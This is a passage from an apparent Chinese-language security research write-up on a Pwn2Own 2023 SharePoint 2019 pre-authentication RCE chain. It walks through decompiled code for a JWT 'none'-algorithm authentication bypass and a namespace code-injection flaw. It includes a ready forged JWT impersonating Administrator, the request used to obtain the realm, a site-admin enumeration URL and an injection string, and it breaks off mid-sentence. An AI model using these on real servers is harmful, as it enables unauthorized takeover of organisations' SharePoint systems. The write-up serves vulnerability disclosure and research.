概要
我可能已在Pwn2Own Vancouver 2023中成功利用了SharePoint目标。虽然现场演示仅持续了大约30秒,但值得指出的是,发现和构建该利用链的过程花费了近一年的细致努力和研究,才完成了完整的利用链。
此利用链利用了两个漏洞来实现对SharePoint服务器的预授权远程代码执行(RCE):
- 认证绕过 - 未经认证的攻击者可以通过伪造有效的JSON Web令牌(JWTs),使用
none签名算法来绕过JWT令牌用于OAuth认证时的签名验证检查,从而冒充任何SharePoint用户。这个漏洞在项目开始两天后就发现了。
- 代码注入 - 拥有SharePoint所有者权限的用户可以通过替换网站根目录中的
/BusinessDataMetadataCatalog/BDCMetadata.bdcm 文件,注入任意代码,导致注入的代码被编译成程序集,随后由SharePoint执行。此漏洞于2022年2月发现。
认证绕过漏洞的特定部分是:它只能访问SharePoint API。因此,最困难的部分是找到使用SP API的后认证RCE链。
受影响的产品/测试版本
- SharePoint 2019
- 测试版本: 安装了2023年3月补丁(KB5002358 和 KB5002357)的 SharePoint 2019 (16.0.10396.20000)
- 补丁下载:
漏洞 #1:SharePoint应用程序认证绕过
在默认的SharePoint配置下,几乎所有发送到SharePoint站点的请求都需要NTLM认证来处理。
在分析web配置文件时,我意识到我们至少可以使用4种认证类型。
| 认证模块 |
处理类 |
| FederatedAuthentication |
SPFederationAuthenticationModule |
| SessionAuthentication |
SPSessionAuthenticationModule |
| SPApplicationAuthentication |
SPApplicationAuthenticationModule |
| SPWindowsClaimsAuthentication |
SPWindowsClaimsAuthenticationHttpModule |
我开始逐一分析这些模块,然后在 SPApplicationAuthenticationModule 中发现了一些有趣的东西。
该模块为Http事件 AuthenticateRequest 注册了 SPApplicationAuthenticationModule.AuthenticateRequest() 方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
namespace Microsoft.SharePoint.IdentityModel
{
internal sealed class SPApplicationAuthenticationModule : IHttpModule
{
public void Init(HttpApplication context)
{
if (context == null)
{
throw new ArgumentNullException("context");
}
context.AuthenticateRequest += this.AuthenticateRequest;
context.PreSendRequestHeaders += this.PreSendRequestHeaders;
}
//...
}
//...
}
|
因此,每次我们尝试向SharePoint站点发送HTTP请求时,都会调用此方法来处理认证逻辑!
仔细查看 SPApplicationAuthenticationModule.AuthenticateRequest() 方法,会调用 SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication() 来检查当前URL是否允许使用OAuth作为认证方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
private void AuthenticateRequest(object sender, EventArgs e)
{
if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]
{
spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");
//...
}
else
{
bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]
if (flag)
{
//...
spidentityReliabilityMonitorAuthenticateRequest.Success(null);
}
else
{
//...
OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");
}
//...
}
//...
}
|
在 [1] 处,如果请求URL包含以下模式之一,将允许使用OAuth认证:
/_vti_bin/client.svc
/_vti_bin/listdata.svc
/_vti_bin/sites.asmx
/_api/
/_vti_bin/ExcelRest.aspx
/_vti_bin/ExcelRest.ashx
/_vti_bin/ExcelService.asmx
/_vti_bin/PowerPivot16/UsageReporting.svc
/_vti_bin/DelveApi.ashx
/_vti_bin/DelveEmbed.ashx
/_layouts/15/getpreview.ashx
/_vti_bin/wopi.ashx
/_layouts/15/userphoto.aspx
/_layouts/15/online/handlers/SpoSuiteLinks.ashx
/_layouts/15/wopiembedframe.aspx
/_vti_bin/homeapi.ashx
/_vti_bin/publiccdn.ashx
/_vti_bin/TaxonomyInternalService.json/GetSuggestions
/_layouts/15/download.aspx
/_layouts/15/doc.aspx
/_layouts/15/WopiFrame.aspx
当满足上述条件时,在 [2] 处将调用 SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() 来继续处理认证请求。
SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() 方法的相关代码如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
{
ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");
return false;
}
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
//...
}
|
注意:[4] 和 [5] 处的代码将在稍后阶段讨论。
在 [3] 处,SPApplicationAuthenticationModule.TryExtractAndValidateToken() 方法将尝试从HTTP请求中解析认证令牌并执行验证检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken)
{
//...
if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]
{
return false;
}
//...
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))
{
SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]
}
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))
{
Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler();
StringBuilder stringBuilder = new StringBuilder();
using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))
{
identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]
}
SPIdentityProofToken spidentityProofToken2 = null;
using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))
{
spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;
}
ClaimsIdentityCollection claimsIdentityCollection = null;
claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9]
tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection);
identityProofToken = spidentityProofToken2;
tokenContext.IsProofTokenScenario = true;
SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10]
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request);
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request);
}
}
|
在 [6] 处,TryParseOAuthToken() 方法将尝试从HTTP请求的查询字符串参数 access_token 或 Authorization 头中获取OAuth访问令牌,并将其存储到 text 变量中。
例如,HTTP请求将类似于以下内容:
1
2
3
4
5
|
GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: python-requests/2.27.1
Host: sharepoint
|
同样,从HTTP请求中提取OAuth访问令牌后,TryParseProofToken() 方法将尝试从HTTP请求的查询字符串参数 prooftoken 或 X-PROOF_TOKEN 头中获取证明令牌,并将其存储到 text2 变量中。
在 [7] 处,两个令牌都作为参数传递给 SPIdentityProofTokenUtilities.CreateFromJsonWebToken() 方法。
SPIdentityProofTokenUtilities.CreateFromJsonWebToken() 方法的相关代码如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString)
{
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler();
SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11]
if (securityToken == null)
{
ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string.");
throw new InvalidOperationException("Proof token is not JWT");
}
SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12]
if (securityToken2 == null)
{
ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string.");
throw new InvalidOperationException("Identity token is not JWT");
}
//...
JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken;
if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity())
{
spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken);
try
{
new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13]
return spidentityProofToken;
}
//...
}
//...
}
|
乍一看,可以推断出访问令牌(作为 identityTokenString 参数传递)和证明令牌(作为 proofTokenString 参数传递)都应为JSON Web令牌(JWTs)。
初始化一个 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 类型的实例来执行令牌解析和验证,然后在 [11] 处调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken() 方法。
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 类型是 JsonWebSecurityTokenHandler 的子类型。由于 RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler 没有覆盖 ReadToken() 方法,调用 nonValidatingJsonWebSecurityTokenHandler.ReadToken() 方法等同于调用 JsonWebSecurityTokenHandler.ReadToken()(JsonWebSecurityTokenHandler.ReadTokenCore() 方法的包装函数)。
在 [11] 和 [12] 处验证访问令牌和证明令牌的 JsonWebSecurityTokenHandler 相关代码如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
public virtual SecurityToken ReadToken(string token)
{
return this.ReadTokenCore(token, false);
}
public virtual bool CanReadToken(string token)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
return this.IsJsonWebSecurityToken(token);
}
private bool IsJsonWebSecurityToken(string token)
{
return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$");
}
private SecurityToken ReadTokenCore(string token, bool isActorToken)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
if (!this.CanReadToken(token)) // [14]
{
throw new SecurityTokenException("Unsupported security token.");
}
string[] array = token.Split(new char[] { '.' });
string text = array[0]; // JWT Header
string text2 = array[1]; // JWT Payload (JWS Claims)
string text3 = array[2]; // JWT Signature
Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
string text4;
dictionary.TryGetValue("alg", out text4); // [15]
SecurityToken securityToken = null;
if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]
{
if (string.IsNullOrEmpty(text3))
{
throw new SecurityTokenException("Missing signature.");
}
SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
SecurityToken securityToken2;
if (securityToken2 == null)
{
}
securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);
}
//...
}
|
在 [14] 处,首先调用 JsonWebSecurityTokenHandler.CanReadToken() 方法,以确保令牌与正则表达式 ^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$ 匹配。基本上,这检查用户提供的令牌是否类似于有效的JWT令牌,每个部分(即头部、负载和签名)都是Base64编码的。
之后,提取JWT令牌的头部、负载和签名部分。然后对头部和负载部分执行Base64解码,然后将它们解析为JSON对象。
在 [15] 处,从头部部分提取 alg 字段(即签名算法)。例如,如果Base64解码的头部部分是 {"alg": "HS256","typ": "JWT"},则 alg 字段的值为 HS256。
此认证绕过漏洞的根本原因的第一部分可以在 [16] 处找到 – 验证所提供的JWT令牌的签名时存在逻辑缺陷。如果 alg 字段未设置为 none,则调用 VerifySignature() 方法来验证提供的JWT令牌的签名。但是,如果 alg 是 none,则跳过 JsonWebSecurityTokenHandler.ReadTokenCore() 中的签名验证检查!
回到 [13] 处,SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience() 对提供的证明令牌头部部分中的 aud(受众)字段执行验证检查。
以下是 aud 字段有效值的示例:
00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af
aud 字段的格式为 <client_id>/<hostname>@<realm>:
- 静态值
00000003-0000-0ff1-ce00-000000000000 被接受为所有SharePoint本地实例的有效 <client_id>。
<hostname> 指当前HTTP请求的SharePoint服务器(目标)的主机名(例如 splab)。
<realm>(例如 3b80be6c-6741-4135-9292-afed8df596af)可以通过向 /_api/web/ 发送带有 Authorization: Bearer 头的请求,从 WWW-Authenticate 响应头中获取。
以下是用于获取构造 aud 字段有效值所需的 <realm> 的HTTP请求示例:
1
2
3
4
5
|
GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer
|
HTTP响应将在 WWW-Authenticate 响应头中包含 <realm>:
1
2
3
|
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
//...
|
之后,将从用户提供的访问令牌和证明令牌创建一个新的 SPIdentityProofToken,控制流到达 [8] 处。
在 [8] 处,identityProofTokenHandler 由 SPClaimsUtility.GetIdentityProofTokenHandler() 方法返回:
1
2
3
4
5
|
internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
//...
return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}
|
SPClaimsUtility.GetIdentityProofTokenHandler() 方法的实现意味着返回的 identityProofTokenHandler 将是 SPIdentityProofTokenHandler 的一个实例。
1
2
3
4
5
6
7
8
9
10
11
12
|
{
bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken);
if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token))
{
return;
}
//...
}
|
SPIdentityProofTokenUtilities.IsHashedProofToken() 方法的实现如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
internal static bool IsHashedProofToken(JsonWebSecurityToken token)
{
if (token == null)
{
return false;
}
if (token.Claims == null)
{
return false;
}
JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");
return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);
}
|
回到 [10] 处,调用 SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext) 来验证当前URL的哈希值。存储在JWT负载部分的 endpointurl 字段中的所需值可以通过以下计算得出:
base64_encode(sha256(request_url))
执行 SPApplicationAuthenticationModule.TryExtractAndValidateToken() 后,代码流向 SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity() 方法并到达 [4] 处:
1
2
3
4
5
6
7
8
9
10
11
12
|
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
|
如果 spincomingTokenContext.TokenType 不是 spincomingTokenContext.Loopback 并且当前HTTP请求未通过SSL加密,则将抛出异常。因此,需要在伪造的JWT令牌中将 isloopback 声明设置为 true,以使 spincomingTokenContext.TokenType == spincomingTokenContext.Loopback,从而确保不会抛出异常,代码继续正常执行。
随后,在 [5] 处,令牌将被传递到 SPApplicationAuthenticationModule.SignInProofToken() 中。
1
2
3
4
5
6
7
8
9
10
11
|
private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken)
{
SecurityContext.RunAsProcess(delegate
{
Uri contextUri = SPAlternateUrl.ContextUri;
SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);
SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);
IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);
//...
});
}
|
此方法将从用户提供的JWT令牌创建 SecurityTokenForContext 实例,并将其发送到安全令牌服务(STS)进行认证。
这是整个漏洞中最重要的部分 – 如果STS接受伪造的JWT令牌,那么就有可能冒充任何SharePoint用户!
为简洁起见,伪造的JWT令牌应类似于以下内容:
eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiAgIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9zcGxhYkAzYjgwYmU2Yy02NzQxLTQxMzUtOTI5Mi1hZmVkOGRmNTk2YWYiLCJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCIsIm5hbWVpZCI6ImMjLnd8QWRtaW5pc3RyYXRvciIsICAgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vc2hhcmVwb2ludC8yMDA5LzA4L2NsYWltcy91c2VybG9nb25uYW1lIjoiQWRtaW5pc3RyYXRvciIsICAgImFwcGlkYWNyIjoiMCIsICJpc3VzZXIiOiIwIiwgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlLzIwMTIvMDEvbmFtZWlkaXNzdWVyIjoiQWNjZXNzVG9rZW4iLCAgInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6ICJGVkl3QldUdXVXZnN6TzdXWVJaWWlvek1lOE9hU2FXTy93eURSM1c2ZTk0PSIsIm5hbWUiOiJmI3h3fEFkbWluaXN0cmF0b3IiLCJpZGVudGl0eXByb3ZpZGVyIjoid2luZE93czphYWFhYSIsInVzZXJpZCI6ImFzYWFkYXNkIn0.YWFh
伪造的JWT令牌的Base64解码部分如下所示:
请注意,需要修改 nameid 字段以冒充SharePoint站点中的相应用户。
因此,我们得到了一个认证绕过,但它可能至少需要知道SharePoint站点中存在的至少一个用户名。如果没有,SharePoint站点将拒绝认证,我们将无法访问任何功能。
起初,我认为这个问题很容易解决,因为用户“Administrator”存在于每个Windows Server 2022实例中。
但事实并非如此!
.
.
是的,我们可以假设用户“Administrator”存在于每个Windows Server 2022实例中,但这不是我们需要的。
在正确配置的SharePoint实例中:
- SharePoint服务用户不应该是“内置管理员”。
- 站点管理员用户也不应该是“内置管理员”。
- 只有“场管理员”需要是SharePoint服务器的“内置管理员”。
这意味着在Pwn2Own设置中,“Administrator”帐户将不是SharePoint站点成员。
这部分利用让我花了几天时间一遍又一遍地阅读ZDI关于SharePoint的系列博客文章,直到我意识到这一行:
这个入口点 /my 在我的SharePoint实例中不存在。
搜索了一会儿后,我发现他们(ZDI团队)使用了初始场配置向导来设置SharePoint服务器,而不是像我假设/做的那样手动配置。
当使用初始场配置向导时,许多其他功能将被启用,用户配置文件服务是负责入口点 /my 的服务。
此入口点具有授予“已验证用户”的读取权限,这意味着任何经过认证的用户都可以访问此站点,获取用户列表和管理员用户名。
通过使用“我的网站”站点中的认证绕过,
在第一个请求中,我们可以首先冒充Windows上的任何用户,甚至是本地用户,如 NT AUTHORITY\LOCAL SERVICE, NT AUTHORITY\SYSTEM。
认证后,通过使用ListData服务在以下位置获取站点管理员:/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true
然后我们可以冒充站点管理员用户并执行任何进一步的操作!
漏洞 #2:DynamicProxyGenerator.GenerateProxyAssembly() 中的代码注入
如前所述,虽然我们可以冒充任何用户,但仅限于SharePoint API。
我一直在搜索旧的SharePoint漏洞,但找不到任何可通过API访问的漏洞(或者至少我当时不知道如何访问)。
好吧,然后我花了2022年下半年阅读SharePoint API源代码,最终发现了这个漏洞!
代码注入漏洞存在于 DynamicProxyGenerator.GenerateProxyAssembly() 方法中。该方法的实现相关部分如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
//...
CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]
//...
CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
codeCompileUnit.Namespaces.Add(codeNamespace); // [18]
codeCompileUnit.ReferencedAssemblies.Add("System.dll");
//...
CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
StringCollection stringCollection = null;
//...
using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
{
CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
textWriter.Flush();
sourceCode = textWriter.ToString(); // [19]
}
CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]
//...
}
|
此方法的主要逻辑是使用 proxyNameSpace 生成一个程序集。在 [17] 处,使用 proxyNamespaceName 参数初始化了一个 CodeNamespace 实例。然后,在 [18] 处,这个 CodeNamespace 实例被添加到 codeCompileUnit.Namespaces 中。
之后,在 [19] 处,codeDomProvider.GenerateCodeFromCompileUnit() 将使用包含我们的 proxyNamespaceName 的 codeCompileUnit 生成源代码,并将源代码存储在变量 sourceCode 中。
研究发现,没有对 proxyNamespaceName 参数进行验证。因此,通过提供恶意输入作为 proxyNamespaceName 参数,可以在 [20] 处将要编译的程序集的代码中注入任意内容。
例如:
- 如果
proxyNamespaceName 是 Foo,则生成的代码是:namespace Foo{}
- 但是,如果为
proxyNamespaceName 参数提供了恶意输入,例如 Hacked{} namespace Foo,则会生成并编译以下代码:
1
2
3
4
|
namespace Hacked{
//恶意代码
}
namespace Foo{}
|
DynamicProxyGenerator.GenerateProxyAssembly() 方法通过反射在 WebServiceSystemUtility.GenerateProxyAssembly() 中调用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
[PermissionSet(SecurityAction.Assert, Name = "FullTrust")]
public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties)
{
AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]
{
new Zone(SecurityZone.MyComputer)
}, new object[0]), setupInformation, permissionSet, new StrongName[0]);
object dynamicProxyGenerator = null;
SPSecurity.RunWithElevatedPrivileges(delegate
{
dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]
});
Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");
string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]
string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);
WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);
object[] array = null;
try
{
array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]
}
//...
|
反射调用可以在 [21] 和 [23] 处找到。
在 [22] 处,请注意 proxyNamespaceName 是从方法 WebServiceSystemPropertyParser.GetWebServiceProxyNamespace() 中检索的,该方法检索当前 LobSystem 的 WebServiceProxyNamespace 属性:
1
2
3
4
5
6
7
8
9
10
|
internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties)
{
//...
string text = lobSystemProperties["WebServiceProxyNamespace"] as string;
if (!string.IsNullOrEmpty(text))
{
return text.Trim();
}
//...
}
|
为了到达 WebServiceSystemUtility.GenerateProxyAssembly() 方法,发现可以使用 Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute() 方法。如下所述,此 Entity.Execute() 方法也可用于加载生成的程序集并实例化生成程序集中的类型,从而实现远程代码执行。
Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute() 方法的相关代码如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
|
...
[ClientCallableMethod] // [24]
...
internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]
{
if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]
{
throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");
}
//...
this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]
}
|
在 [24] 处,由于该方法具有 [ClientCallableMethod] 属性,因此可通过SharePoint REST API访问该方法。在 [26] 处有一个检查,以确保 LobSystem 的 SystemType 不等于 SystemType.DotNetAssembly,然后才会在 [27] 处调用 this.m_entity.Execute()。
然而,此时有一个小障碍 –